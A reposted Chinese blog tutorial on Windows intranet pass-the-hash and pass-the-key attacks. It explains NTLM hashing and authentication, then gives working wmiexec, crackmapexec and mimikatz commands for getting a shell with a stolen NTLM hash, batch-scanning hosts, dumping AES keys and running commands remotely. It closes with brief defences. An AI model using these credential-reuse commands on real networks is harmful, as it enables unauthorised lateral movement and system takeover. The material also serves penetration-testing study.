欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

windows内网渗透PTH/PTK攻击

程序员文章站 2022-05-15 09:53:41
...

前言

windows内网渗透中,有三种最常用的pass系列攻击:

  • pass the hash(hash传递攻击,简称pth)
  • pass the ticket(票据传递攻击,简称ptt)
  • pass the key(**传递攻击,简称ptk)

1.1 pass the hash攻击

1.1.1 NTLM HASH

windows用户hash主要由以下部分组成,其中NTLM-HASH比LM-HASH的安全性要更高:

用户名称:RID:LM-HASH值:NTLM-HASH值

自Windows Vista和Windows Server 2008开始,Windows取消LM hash。另外,如果用户密码长度大于15,也无法生成LM hash。

1.1.2 NTLM网络认证机制

NTLM是一种基于质询/应答 (Challenge/Response )消息交换模式的认证机制,常用于工作组和域环境下身份认证
NTLM认证过程有三步:
协商:主要用于确认双方协议版本(NTLMv1、NTLMv2等)
质询:质询/应答 (Challenge/Response)模式,用于消息交换
验证:验证身份合法性,通常由 Server端或 DC完成这个过程
大致流程如下:

  • 客户端对密码进行哈希处理并缓存密码 hash,丢弃实际的明文密码(不存储),然后将用户名发送到服务器,发起认证请求
  • 服务器生成一个 16字节的随机数,称为质询发送给客户端
  • 客户端使用用户密码Hash 对此质询进行加密,将结果发送给服务器
  • 服务器发送三项数据给域控制器(DC):
  1. User name
  2. 发送给客户端的质询
  3. 从客户端接收到的加密结果
  • 域控制器使用 User name从 AD中检索该用户密码的 NTLM Hash,并使用此 NTLM Hash来加密该质询,然后把这个值和客户端计算的响应值加密结果进行比较。如果它们相同,则验证成功

以上步骤中,用户的登录密码 Hash 即为 NTLM Hash,经过NTLM Hash加密的结果在网络协议中称之为 Net NTLM Hash

1.1.3 使用wmiexec拿shell

  • wmiexec.exe地址:https://github.com/maaaaz/impacket-examples-windows/blob/master/wmiexec.exe
  • wmiexec.py地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
    windows下使用wmiexec.exe通过pth方式拿shell:
    wmiexec.exe -hashes 00000000000000000000000000000000:9c1xxxxxxxxxxxxxxxxxxxxfxxxxx8ea0 ./aaa@qq.com
    windows内网渗透PTH/PTK攻击
    此处是通过Administrator用户的NTLM HASH传递攻击拿shell,登录的域为.代表本地域

1.1.4 使用crackmapexec批量扫描

crackmapexec是一个可以对多个目标机进行批量PTH扫描,且支持命令执行等功能,工具地址:https://github.com/byt3bl33d3r/CrackMapExec
批量扫描命令:/usr/local/python3/bin/crackmapexec --timeout 3 smb target ip.txt -u Administrator -H 9c1xxxxxxxxxxxxxxxxxxxxfxxxxx8ea0 -d .
windows内网渗透PTH/PTK攻击
命令执行:/usr/local/python3/bin/crackmapexec smb target 192.168.xx.xx -u Administrator -H 9c1xxxxxxxxxxxxxxxxxxxxfxxxxx8ea0 -d . -x ipconfig
windows内网渗透PTH/PTK攻击

1.2 pass the key攻击

ptk是在域中攻击kerberos认证的一种方式,原理是通过获取用户的aes hmac,通过kerberos认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。

  1. 使用mimikatz "privilege::debug" "sekurlsa::ekeys"命令获取aes的hmac
    windows内网渗透PTH/PTK攻击
  2. 使用mimi进行测试:sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx"
    windows内网渗透PTH/PTK攻击
  3. 在弹出的cmd窗口中输入net use命令进行测试
    windows内网渗透PTH/PTK攻击
  4. wmiexec和crackmapexec同样支持该种方式攻击,可以自行尝试

防御措施

  1. windows安装kb2871997补丁
  2. 使用Kerberos认证代替NTLM认证
  3. 开启PAC(Privileged Attribute Certificate)特权属性证书保护功能
相关标签: 安全 安全漏洞